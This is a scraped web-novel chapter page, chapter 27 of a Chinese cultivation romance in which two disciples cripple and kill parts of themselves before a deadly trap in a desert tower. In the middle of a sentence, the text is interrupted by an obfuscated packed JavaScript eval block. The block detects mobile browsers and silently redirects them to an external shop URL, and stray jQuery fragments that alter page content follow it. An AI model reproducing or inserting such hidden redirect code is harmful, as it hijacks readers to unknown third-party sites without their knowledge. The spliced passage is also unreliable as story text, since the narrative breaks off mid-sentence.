文趣网 > 其他小说 > 与大师兄绑定双向攻略系统后 > 27. 九天(六)
    云岚最先开口:“你们两个,想清楚了?”

    魏云楼点头:“只有我们在这世上最无牵无挂,换别的谁都不公平。”

    云岚笑出声来:“让你们来也不公平啊,堕为蚀鬼后神智和记忆会被侵蚀,到时候交起手来,我们几个中有谁打得过你们俩?”

    “有我自己啊。”慕韶景道,“自己和自己总能打个平手,再加上大家,很容易赢。”

    “胡说。”云岚道,“你们分离出另一个自己属于重创,是要陷入沉睡的,也就是说堕为蚀鬼的你们至少能够多修炼百年有余。百年啊,得多懒才能毫无长进?”

    慕韶景和魏云楼面面相觑,最后慕韶景为难地说:“那我们忍一忍,不修炼就好了。”

    她说完这话沉默片刻,觉得自己还是忍不了,决定放弃这个方法:“百年太漫长,让我不修炼不如杀了我。”

    云岚摊手:“看吧。”

    “驭灵道大成,最强悍的就是空枢灵技。”慕韶景屈张五指恋恋不舍地感受着体内丰沛汹涌的灵力,最后下定决心,“断开我体内所有灵脉连接,让我无法使用空枢就够了。”

    云岚盯着她手掌沉默不语。

    她清楚慕韶景晋升驭灵道大成费了多少努力,也清楚慕韶景有多么渴望变得更强。

    废掉空枢,几乎要让她的驭灵道从头再来。

    慕韶景动作却快,在众人不及反应之际,她已经干脆利落地召出窥天剑,切断了自己所有灵脉:“总不会我没有空枢,你们还打不过我吧?”

    云岚苦笑道:“我会督促庄瀛加紧修炼防御之术的。”

    鲜血自慕韶景双臂淌下,染红明绿衣裙,她不甚在意地甩了甩手,歪头对魏云楼笑道:“你废什么?”

    “总之不是空枢。”魏云楼道,“若是我的空枢也废了,就再无人能助你连通灵脉了。”

    慕韶景挑眉:“你之前是不是就挺嫉妒我?因为我们都是空枢巅峰,但我有驭灵道大成加成,所以空枢比你更强。”

    魏云楼承认得倒很干脆:“是。”

    慕韶景心满意足地点点头,正要将窥天剑收起,却被魏云楼抓住手腕:“杀了我吧。”

    慕韶景转过头来看他:“什么?”

    魏云楼道:“如果有朝一日我一定会死,我希望死在你手里。”

    慕韶景微微蹙眉,魏云楼的神色却比她想象中要更为坚决,几乎称得上虔诚:“无论是现在还是未来,我都想死在你手里。”

    如果死亡是生命的终点,那么他希望和她一起走到尽头。

    被窥天刺穿心脏的人或蚀鬼会被蛛网形态的灵力死死缚住,即便能侥幸逃脱,留在他胸膛的剑伤也会一直让窥天有所感应,直到他死去。

    无论过去多少年,无论修炼到什么程度,窥天剑留下的痕迹会让他永远落慕韶景一成。

    所以被窥天刺中的人,无一例外都死在了慕韶景手里。

    慕韶景道:“亲手杀了你,我或许会难过。”

    魏云楼牵了牵嘴角:“百年太漫长,我怕你最先忘了我。”

    窥天穿透魏云楼胸膛的一瞬间,蛛网自他胸口飞速蔓延开,让他被缚住,此生此世再也无法逃脱。

    明昭衡的分离之能在他死前分离出了另一个魏云楼,减轻了他的伤势让他不死,也分离出另一个慕韶景,让她迟缓地后知后觉到难过。

    依照计划所定,伤势更重的一方被云岚带走,他们会陷入沉睡,直到失去一切记忆再度醒来。

    而另一个慕韶景和另一个魏云楼堕为蚀鬼,离开了他们所熟悉的人。

    魏云楼没有食言,在堕为蚀鬼、神智日日夜夜被侵蚀时,也记得帮慕韶景连通灵脉,助她重回驭灵道大成。

    慕韶景也说话算话,在忘记了许多事后还能记得两个人,一是另一个她自己,第二个是他。

    他们相识于两百年前或者更早,携手在地脉游走两百年,最后崭新的另一个他们在昆仑重逢。

    一切过往匆匆奔流而去,慕韶景无法留住这些景象,更无法留住景象中的人,只能凭借记忆将他们记住。

    又或者不是她记住了,而是她的某些记忆正在被唤醒。

    窥天与俯尘结合让它们自动发挥出最强效能,窥天随她心意窥视万物,最后确定庄瀛的位置时,俯尘将阻隔在他们之间的事物尽数吞噬容纳,要将慕韶景送到她想去的地方。

    慕韶景在原地站了片刻,缓过神来,抬步要走入那片皓白灵光,却听身后传来一阵急促脚步声:“等、等等!等等我!”

    慕韶景抬手将窥天和俯尘收回,看向来人。

    戚隐狼狈地瞬影追上来,上气不接下气地拦住她:“我、我带你去。”

    这是慕韶景第一次完整清楚地看见戚隐的样貌,虽沾染了泥土,却有几分熟悉的影子。

    她想到了那个穿水色衣袍、被抽出脊骨的年轻人。

    慕韶景不动声色地问:“去哪?”

    “去、去找你的师兄庄瀛!”戚隐深吸一口气,将剩下的话一股脑吐出来,“他他他被关在大漠某座锁怨塔下的天坑中需要解开机关将罗浮安的塑像移开才能看见!”

    慕韶景点点头,随意试探一句:“戚宗主,你应当知道,如果你帮罗浮安来诱我入圈套,会有什么下场吧?”

    “我只是胆子小,不是傻子。”戚隐说,“他都想要我死了!”

    慕韶景道:“所以你的计划是什么?”

    戚隐怯声说:“我只要罗浮安死。”

    慕韶景收回目光,再度召动窥天和俯尘,戚隐见状举手道:“那个,待会儿你瞬影能慢点吗?或者捎上我一起……我追不上你瞬影的速度。”

    说话间白色灵光再度绽开,慕韶景抓住戚隐肩膀,将他往灵光里一扔:“好,那你先走。”

    说完她抬步跟上,只一瞬间二人就来到了九天大漠,窥天和俯尘灵光暗下去,落在慕韶景手中。

    戚隐被灵光吐出来时险些站不稳,看慕韶景的眼神掩饰不住惊奇和崇拜:“你们什么时候在大漠里设的传送阵连接点?”

    慕韶景没有心思答他,抬头看向面前的锁怨塔:“这座?”

    戚隐也不恼,顺着她的目光抬头看了看:“我不知道……得进去试试机关。”

    戚隐说着推开锁怨塔大门,在前边探路,走着走着有些懊恼地说:“我忘记锁怨塔的灯坏了,没带风灯……”

    慕韶景正好用灵力在掌心托起一团照明火焰,闻言疑惑道:“用灵力啊,为什么要带着灯?”

    “……为什么?”戚隐微微一怔,随即笑起来,“对啊,根本不需要带着灯。”

    层层旋梯绕着中央巨大的罗浮安的塑像一路向上,二人瞬影奔至旋梯尽头,通向罗浮安塑像的手掌。

    戚隐按下一处墙壁上的机关,塑像手掌由掌心朝下覆压改为掌心朝上平放,接上旋梯,看起来是要接他们上去。

    戚隐在旋梯尽头站了片刻,忽然说:“慕仙君,我思考了很久才选中了一个可能杀死罗浮安的人,我赌那个人是你。”

    “所以你带我来找我师兄了。”慕韶景点点头,“不过你不必下注赌我赢,我要杀罗浮安而你也要,我们目的一致就足够了。”

    戚隐笑着摇摇头:“没有不需要付出代价的买卖。”

    慕韶景再次点点头:“那我会给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599974|202257||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你等价的交换。”

    戚隐站在塑像手掌边缘,每动一分就能听见碎石下落的簌簌声响,不妙的预感让他有些不受控制地颤抖:“慕仙君……庄仙君让我给你带一句话。”

    慕韶景道:“你认识我师兄?”

    她有些意外,在罗浮安眼皮子底下,戚隐居然会和庄瀛有交情。

    “嗯……”戚隐应道,“之前他让我想办法告诉你九天在取人脊骨制罗藏伞的消息,现在他让我提醒你,不要为了他强行晋升驭灵道大成。”

    慕韶景微微蹙眉:“因为有风险,还是有陷阱?”

    戚隐摇头:“我不知道,我很难见到他,也很难听他说些什么。”

    他说完下定决心般走入塑像手掌,将灵力注入塑像内,若是不出意外,塑像手掌合十时会沉下去,而通往天坑的旋梯会出现。

    他启动机关后,立即发动体脉灵技要从塑像手掌中撤出来,塑像手掌却以快得近乎诡异的速度迅速合拢,将他夹在中间。

    在听见自己颅骨被夹碎的声响之前,戚隐奋力朝慕韶景伸出手,想要求救。

    慕韶景在触到他的手之前,先触到了喷溅的鲜血。

    鲜红的,滑腻的,滚烫的,几乎灼伤她的手。

    被夹碎的断肢碎肉随着塑像下沉,新的旋梯显现出来,却不是通往天坑,而是和原本的锁怨塔一样通往各层。

    慕韶景知道罗浮安就在附近,或许像一只饿兽般正躲在某处窥视着她,等待她掉入陷阱。

    她看着下沉的塑像彻底消失不见,抬步迈上旋梯,经过每一层。

    真实的锁怨塔并不是用来关押蚀鬼和罪囚的,它们锁的是在塔中冤死之人的怨。

    每一层都是一个独立完整的链条,从旋梯的方向走过去,每个房间依次展现出制作罗藏伞的过程。

    先是分离皮肉和骨骼,再是剥离脊骨,然后是挑拣碎肉中分布的灵脉,最后将废弃的脊骨或者皮肉运往天坑填埋。

    屠夫们不尽是修士,却似乎都对这些场景习以为常,不觉有异。

    井然有序,自成体系。

    罗浮安的声音在身后响起来:“抽人脊骨的场面,你们说一声想看,我自会带你们来看,又何必偷偷摸摸想办法潜入珍宝楼呢。”

    慕韶景转身看去,罗浮安的面容在明暗红光下如同罗刹。

    他状似无奈地摊手:“戚隐还为此废了一只偶人……真不知他何时将悬机道修炼得那样厉害了,我差点没瞧出来珍宝楼那个是他造出来的偶人替身。”

    慕韶景闻言想起被塑像夹碎的戚隐,暗自希望那也是一个替形偶人。

    罗浮安瞧出她心思,笑道:“那个是真的,否则三番五次纵容他,太荒唐了。”

    慕韶景神色微沉:“我来了,所以你准备的‘惊喜’呢?”

    “有些意外啊。”罗浮安道,“我以为魏云楼会先到。”

    “师兄不该,也不会来。”

    “可我比较想一次杀了你们两人。”

    慕韶景冷笑:“那你有些贪心了,我来九天,只想杀你一个。”

    罗浮安轻哼一声,抬手间旋梯带着两人下降,转眼来到另一片黑暗中。

    黑暗中唯一的光源是相抵抗的法相和惨白结界,数道灵线交错在天坑上方形成罗网,两色灵光照亮天坑中的景象。

    满地腐烂发黑的尸骨皮囊中,庄瀛抬起被血和尘灰染得污脏的脸,面色在灵光映照下近乎惨白。

    “那道法相与我心脉相连,要救庄瀛就破开它,杀了我。”罗浮安笑道,“要杀我,只有晋升驭灵道大成。”

    “你我之间必须,也一定会有一个死在这里。”